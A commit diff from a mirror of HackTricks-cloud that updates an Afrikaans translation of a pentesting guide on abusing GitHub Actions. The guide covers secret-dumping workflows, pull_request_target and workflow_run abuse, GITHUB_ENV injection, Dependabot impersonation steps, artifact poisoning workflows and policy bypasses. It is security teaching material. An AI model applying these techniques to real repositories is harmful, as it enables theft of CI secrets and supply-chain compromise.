gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-24 20:10:16 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/pentesting-cloud-methodology.md',

Browse Source
This commit is contained in:
Translator
2025-09-29 22:33:16 +00:00
parent d87579a5f8
commit a2455dd4e6
6 changed files with 354 additions and 338 deletions
Download Patch File Download Diff File Expand all files Collapse all files

236
src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
View File

@@ -4,53 +4,53 @@
## Gereedskap
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede te identifiseer:
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede op te spoor:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Basiese Inligting
Op hierdie bladsy vind jy:
Op hierdie blad sal jy vind:
- 'n **opsomming van alle impakte** van 'n attacker wat daarin slaag om toegang tot 'n Github Action te kry
- Verskillende maniere om **toegang tot 'n action te kry**:
- 'n **opsomming van al die gevolge** wat 'n aanvaller kan hê indien hy toegang tot 'n Github Action kry
- Verskillende maniere om **toegang tot 'n action** te kry:
- Om **permissions** te hê om die action te skep
- Misbruik van **pull request**-verwante triggers
- Misbruik van **pull request** verwante triggers
- Misbruik van **ander eksterne toegang** tegnieke
- **Pivoting** vanaf 'n reeds gekompromitteerde repo
- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde impakte te veroorsaak)
- **Pivoting** vanuit 'n reeds gekompromitteerde repo
- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde gevolge te veroorsaak)
## Opsomming van Impakte
## Opsomming van Gevolge
Vir 'n inleiding oor [**Github Actions, sien die basiese inligting**](../basic-github-information.md#github-actions).
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
As jy kan **arbitrêre code in GitHub Actions uitvoer** binne 'n **repository**, kan jy moontlik:
Indien jy kan **execute arbitrary code in GitHub Actions** binne 'n **repository**, mag jy in staat wees om:
- **Steel geheime** wat aan die pipeline gemonteer is en **misbruik die pipeline se bevoegdhede** om ongeoorloofde toegang tot eksterne platforms te kry, soos AWS en GCP.
- **Kompromiseer deployments** en ander **artifacts**.
- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander en sodoende 'n supply chain attack moontlik maak.
- **Voer code uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
- **Oorskryf repository-kode**, afhangend van die permissions wat geassosieer word met die `GITHUB_TOKEN`.
- **Steal secrets** wat aan die pipeline gekoppel is en **abuse the pipeline's privileges** om ongemagtigde toegang tot eksterne platforms soos AWS en GCP te verkry.
- **Compromise deployments** en ander **artifacts**.
- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander, wat 'n supply chain attack moontlik maak.
- **Execute code in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
- **Overwrite repository code**, afhangende van die permissions geassosieer met die `GITHUB_TOKEN`.
## GITHUB_TOKEN
Hierdie "**secret**" (wat kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
Hierdie "**secret**" (afkomstig van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, sodat dit toegang tot dieselfde endpoints kan kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, dus kan dit toegang hê tot dieselfde endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **allows cross-repository** toegang binne GitHub moontlik maak, sodat 'n repo ander interne repos kan bereik met die `GITHUB_TOKEN`.
Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Let wel dat die token **verval nadat die job voltooi is**.\
Hierdie tokens lyk soos dit: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Neem kennis dat die token **expires after the job has completed**.\
Sulke tokens lyk soos: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Sommige interessante dinge wat jy met hierdie token kan doen:
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Let wel dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organization gee.
> Let wel dat jy in verskeie gevalle **github user tokens inside Github Actions envs or in the secrets** kan vind. Hierdie tokens kan jou meer regte oor die repository en organisasie gee.
<details>
<summary>Lys secrets in Github Action uitset</summary>
<summary>Lys secrets in die Github Action-uitset</summary>
```yaml
name: list_env
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories te kontroleer deur **die logs** van die actions na te gaan:
Dit is moontlik om die permissies wat aan 'n Github Token in ander gebruikers repositories gegee is te kontroleer deur **die logs van die actions te kontroleer**:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Toegestane Uitvoering
## Toegestane uitvoering
> [!NOTE]
> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of het **write privileges over a repository**.
> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of dat jy **write privileges over a repository** het.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) nagaan.
### Uitvoering vanaf Repo-skepping
### Uitvoering vanaf repo-skepping
In geval lede van 'n organization nuwe repos kan **create new repos** en jy kan Github actions uitvoer, kan jy 'n nuwe repo skep en **create a new repo and steal the secrets set at organization level**.
Indien lede van 'n organisasie die vermoë het om **create new repos** en jy Github Actions kan uitvoer, kan jy **create a new repo and steal the secrets set at organization level**.
### Uitvoering vanaf 'n Nuwe Branch
### Uitvoering vanaf 'n nuwe branch
As jy kan **create a new branch in a repository that already contains a Github Action** configured, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
Indien jy kan **create a new branch in a repository that already contains a Github Action** wat reeds gekonfigureer is, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
> [!WARNING]
> Enige beperking wat slegs in die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, or manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te hardloop en gemonteerde secrets/permissions misbruik.
> Enige beperking wat slegs binne die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, of manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te loop en gemonteerde secrets/permissions misbruik.
Jy kan die gewysigde action uitvoerbaar maak **manually**, wanneer 'n **PR** geskep word of wanneer sekere kode gepush word (afhangend van hoe luidrugtig jy wil wees):
Jy kan die gemodifiseerde action uitvoerbaar maak **manually,** wanneer 'n **PR is created** of wanneer **some code is pushed** (afhangend van hoe luidrugtig jy wil wees):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
```
---
## Forked-uitvoering
## Gevorkte Uitvoering
> [!NOTE]
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **execute a Github Action of another repository**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit moontlik kompromitteer.
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n Github Action van 'n ander repository uit te voer. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit kompromitteer.
### `pull_request`
Die workflow-trigger **`pull_request`** sal die workflow uitvoer elke keer as 'n pull request ontvang word, met 'n paar uitsonderings: volgens verstek, as dit die **first time** is dat jy **collaborating**, sal 'n **maintainer** die **approve** van die **run** van die workflow moet doen:
Die workflow-trigger **`pull_request`** sal die workflow elke keer uitvoer wanneer 'n pull request ontvang word, met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **bydra**, sal 'n **maintainer** die **uitvoering** van die workflow moet **goedkeur**:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Omdat die **default limitation** vir **first-time** contributors is, kan jy bydra deur **fixing a valid bug/typo** en dan **ander PRs te stuur om jou nuwe `pull_request` privileges te abuse**.
> Aangesien die **standaardbeperking** vir **eerstetydse** bydraers is, kan jy 'n bydrae lewer deur 'n geldige fout/tipografiese fout te **regmaak** en dan **ander PRs stuur om jou nuwe `pull_request`-privilegies te misbruik**.
>
> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Ek het dit getoets en dit werk nie**: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
Verder verhoed dit volgens verstek **write permissions** en **secrets access** tot die target repository soos vermeld in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Boonop verhoed dit standaard **skryfpermissies** en **toegang tot secrets** tot die teiken repository soos in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) vermeld:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Met die uitsondering van `GITHUB_TOKEN`, **word secrets nie aan die runner oorgedra nie** wanneer 'n workflow vanaf 'n **forked** repository getrig word. Die **`GITHUB_TOKEN` het net lees-regte** in pull requests **van forked repositories**.
'n Aanvaller kan die definisie van die Github Action wysig om arbitraire dinge uit te voer en ekstra actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings.
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre actions by te voeg. Hy sal egter weens die genoemde beperkings nie in staat wees om secrets te steel of die repo oor te skryf nie.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Ja, as die aanvaller die github action in die PR verander wat getrig sal word, sal sy Github Action gebruik word en nie dié van die oorspronklike repo nie!**
Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar nie secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**.
Aangesien die aanvaller ook die kode wat uitgevoer word beheer, kan hy byvoorbeeld selfs al is daar geen secrets of skryfpermissies op die `GITHUB_TOKEN` nie, **malafide artifacts oplaai**.
### **`pull_request_target`**
Die workflow-trigger **`pull_request_target`** het **write permission** tot die target repository en **access to secrets** (en vra nie toestemming nie).
Die workflow-trigger **`pull_request_target`** het **skryfpermissie** op die teiken repository en **toegang tot secrets** (en vra nie toestemming nie).
Neem kennis dat die workflow-trigger **`pull_request_target`** **runs in the base context** en nie in die een wat deur die PR gegee word nie (om **not execute untrusted code**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Let daarop dat die workflow-trigger **`pull_request_target`** **in die base-konteks loop** en nie in daardie wat deur die PR gegee word nie (om **nie onbetroubare kode uit te voer** nie). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Dit mag lyk omdat die **executed workflow** die een is wat in die **base** gedefinieer is en **nie in die PR** nie, dat dit **secure** is om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
Dit mag lyk asof dit veilig is om **`pull_request_target`** te gebruik omdat die **uitgevoerde workflow** dié is wat in die **base** gedefinieer is en nie in die PR nie, maar daar is 'n **paar gevalle waar dit nie so is nie**.
En hierdie een sal **access to secrets** hê.
En hierdie een sal **toegang tot secrets** hê.
### `workflow_run`
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n workflow te laat loop vanaf 'n ander wanneer dit `completed`, `requested` of `in_progress` is.
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger maak dit moontlik om 'n workflow vanaf 'n ander een uit te voer wanneer dit `completed`, `requested` of `in_progress` is.
In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is:
In hierdie voorbeeld is 'n workflow gekonfigureer om uit te voer nadat die aparte "Run Tests" workflow voltooi het:
```yaml
on:
workflow_run:
@@ -230,26 +230,26 @@ workflows: [Run Tests]
types:
- completed
```
Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **secrets en write tokens toegang hê, selfs al het die vorige workflow dit nie gedoen nie**.
Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **toegang tot secrets kry en write tokens skryf, selfs al het die vorige workflow dit nie gekry nie**.
Hierdie tipe workflow kan aangeval word as dit **afhang** van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** kan **getrigger**. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
Die tweede bestaan uit die **oorhandig** van 'n **artifact** van die **onbetroubare** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **kwesbaar vir RCE** maak.
Hierdie tipe workflow kan aangeval word as dit **afhanklik** is van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** **getrigger** kan word. 'n Paar kwesbare voorbeelde kan in [**dié blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) gevind word. Die eerste behels die deur die **`workflow_run`** getriggerde workflow wat die aanvaller se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
Die tweede behels die deurgee van 'n **artifact** van die **untrusted** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **vulnerable to RCE** maak.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Kyk of wanneer dit vanaf `pull_request` uitgevoer word, die gebruikte/afgelaaide kode dié van die origin is of dié van die geforkte PR
## Misbruik van geforkte uitvoering
## Abusing Forked Execution
Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n GitHub workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as hulle sleg gekonfigureer is, misbruik kan word:
### Onbetroubare checkout-uitvoering
### Untrusted checkout execution
In die geval van **`pull_request`,** gaan die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **kwaadwillige PR's code** uitvoer), maar iemand moet dit eers **magtig** en dit sal met sekere [beperkings](#pull_request) loop.
In die geval van **`pull_request`**, gaan die workflow in die **context of the PR** uitgevoer word (dus sal dit die **malicious PRs code** uitvoer), maar iemand moet dit eers **authorize** en dit sal met 'n paar [limitations](#pull_request) hardloop.
In die geval van 'n workflow wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n workflow wat van **`pull_request_target` of `pull_request`** ge-trigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
In die geval van 'n workflow wat **`pull_request_target` or `workflow_run`** gebruik en afhanklik is van 'n workflow wat vanaf **`pull_request_target` or `pull_request`** getrigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **attacker cannot control the executed code**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
@@ -282,14 +282,14 @@ message: |
Thank you!
</code></pre>
Die moontlik **onbetroubare code word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skripte en verwysde **packages deur die skrywer van die PR beheer word**.
Die potensieel **onbetroubare kode word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skrifte en verwysde **packages deur die outeur van die PR beheer word**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitrary code execution:**
Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enige iets uit te voer**, kan dit lei tot **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die omgewingveranderlike te bepaal of by te werk en dit na die **`GITHUB_ENV`** environment file te skryf.
Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die environment variable te definieer of by te werk en dit te skryf na die **`GITHUB_ENV`** environment file.
As 'n aanvaller enige waarde in hierdie **env**-veranderlike kon **injekeer**, kan hy omgewingveranderlikes inspuit wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
As 'n aanvaller enige waarde in hierdie **env** variable kan injekteer, kan hy env variables injekteer wat kode kan laat uitvoer in volgende stappe, soos **LD_PRELOAD** of **NODE_OPTIONS**.
Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou 'n workflow voor wat 'n opgelaaide artifact vertrou om sy inhoud binne **`GITHUB_ENV`** env-variabele te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel 'n workflow wat 'n opgelaaide artifact vertrou om sy inhoud in die **`GITHUB_ENV`** env variable te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot en ander vertroude bots
### Dependabot and other trusted bots
Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Action wat enige PRR van `dependabot[bot]` saamvoeg soos in:
Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), verskeie organisasies het 'n Github Action wat enige PRR van `dependabot[bot]` merge soos in:
```yaml
on: pull_request_target
jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die jongste gebeurtenis wat die workflow geaktiveer het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
Dit is 'n probleem omdat die `github.actor` veld die gebruiker bevat wat die jongste event wat die workflow getrigger het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
- Fork die slagoffer repository
- Voeg die malicious payload by jou kopie
- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency regstel met malicious code.
- Open 'n Pull Request na die slagoffer repository vanaf daardie branch (die PR sal deur die gebruiker geskep word so niks sal nog gebeur nie)
- Dan gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
- Dan voer Dependabot sekere aksies in daardie branch uit, wat die PR op die slagoffer repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom loop die workflow).
- Fork die victim repository
- Add die malicious payload aan jou copy
- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency met malicious code regstel.
- Open 'n Pull Request na die victim repository vanaf daardie branch (die PR sal deur die user geskep word so niks sal nog gebeur nie)
- Dan gaan die attacker terug na die initial PR wat Dependabot in sy fork oopgemaak het en voer `@dependabot recreate` uit
- Dan voer Dependabot sekere aksies uit in daardie branch wat die PR oor die victim repo verander het, wat `dependabot[bot]` die actor maak van die jongste event wat die workflow getrigger het (en gevolglik loop die workflow).
Verder, wat as, in plaas van 'n merge, die Github Action 'n command injection gehad het soos in:
Verder, wat as in plaas van merge die Github Action 'n command injection sou hê soos in:
```yaml
on: pull_request_target
jobs:
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Die oorspronklike blogpos stel wel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
Wel, die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
- Fork die slagoffer se repository en aktiveer Dependabot met 'n verouderde dependency.
- Skep 'n nuwe branch met die kwaadwillige shell injeciton code.
- Verander die default branch van die repo na daardie een
- Skep 'n PR vanaf hierdie branch na die slagoffer se repository.
- Run `@dependabot merge` in die PR wat Dependabot in sy fork oopgemaak het.
- Dependabot sal sy veranderinge in die default branch van jou geforkte repository merge, die PR in die slagoffer se repository opdateer, en nou sal `dependabot[bot]` die actor wees van die jongste event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
- Fork die slagoffer repository en skakel Dependabot in met some outdated dependency.
- Skep 'n nuwe branch met die kwaadwillige shell injection code.
- Verander die standaardbranch van die repo na daardie een
- Skep 'n PR vanaf hierdie branch na die slagoffer repository.
- Voer `@dependabot merge` uit in die PR wat Dependabot in his fork oopgemaak het.
- Dependabot sal sy veranderinge in die standaardbranch van jou geforkte repository saamvoeg, die PR in die slagoffer repository opdateer, en nou die `dependabot[bot]` die actor maak van die latest event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
### Kwetsbare derdeparty Github Actions
### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As vermeld in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hierdie Github Action laat toe om artifacts van verskillende workflows en selfs repositories te bereik.
Soos genoem in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), laat hierdie Github Action toe om toegang te verkry tot artifacts van verskillende workflows en selfs repositories.
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oorskryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou te kompromitteer.
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oor-skryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou, te kompromiteer.
Example of vulnerable workflow:
```yaml
@@ -376,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Hierdie kan met hierdie workflow aangeval word:
Dit kan aangeval word met hierdie workflow:
```yaml
name: "some workflow"
on: pull_request
@@ -395,12 +395,12 @@ path: ./script.py
## Ander Eksterne Toegang
### Deleted Namespace Repo Hijacking
### Verwyderde Namespace Repo Kaping
If an account changes it's name another user could register an account with that name after some time. If a repository had **minder as 100 sterre voor die naamsverandering**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Dus, as 'n action 'n repo van 'n nie‑bestaanbare account gebruik, is dit steeds moontlik dat 'n attacker daardie account kan skep en die action kan kompromitteer.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
@@ -409,11 +409,11 @@ If other repositories where using **dependencies from this user repos**, an atta
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> In hierdie afdeling sal ons praat oor tegnieke wat toelaat om **pivot from one repo to another** mits ons 'n soort toegang tot die eerste het (kyk die vorige afdeling).
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Daar word 'n cache onderhou tussen **wokflow runs in the same branch**. Dit beteken dat as 'n attacker 'n **package** kompromitteer wat dan in die cache gestoor word en deur 'n **more privileged** workflow **downloaded** en uitgevoer word, hy daardie workflow ook sal kan **compromise**.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Workflows kan **artifacts from other workflows and even repos** gebruik. As 'n attacker daarin slaag om die Github Action wat **uploads an artifact** te **compromise**, en daardie artifact later deur 'n ander workflow gebruik word, kan hy **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **die action sal uitgevoer word sonder enige beperking.**
Soos in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) bespreek, selfs al het 'n repository of organization 'n policy wat die gebruik van sekere actions beperk, kan 'n attacker net die action binne die workflow download (`git clone`) en dit as 'n local action verwys. Aangesien die policies nie op local paths van toepassing is nie, sal die action sonder enige beperking uitgevoer word.
Example:
```yaml
@@ -468,15 +468,15 @@ Kyk na die volgende bladsye:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Toegang tot secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Toegang tot geheime <a href="#accessing-secrets" id="accessing-secrets"></a>
As jy inhoud in 'n skrip injekteer, is dit interessant om te weet hoe jy toegang tot secrets kan kry:
As jy inhoud in 'n script inspuit, is dit nuttig om te weet hoe jy toegang tot geheime kan kry:
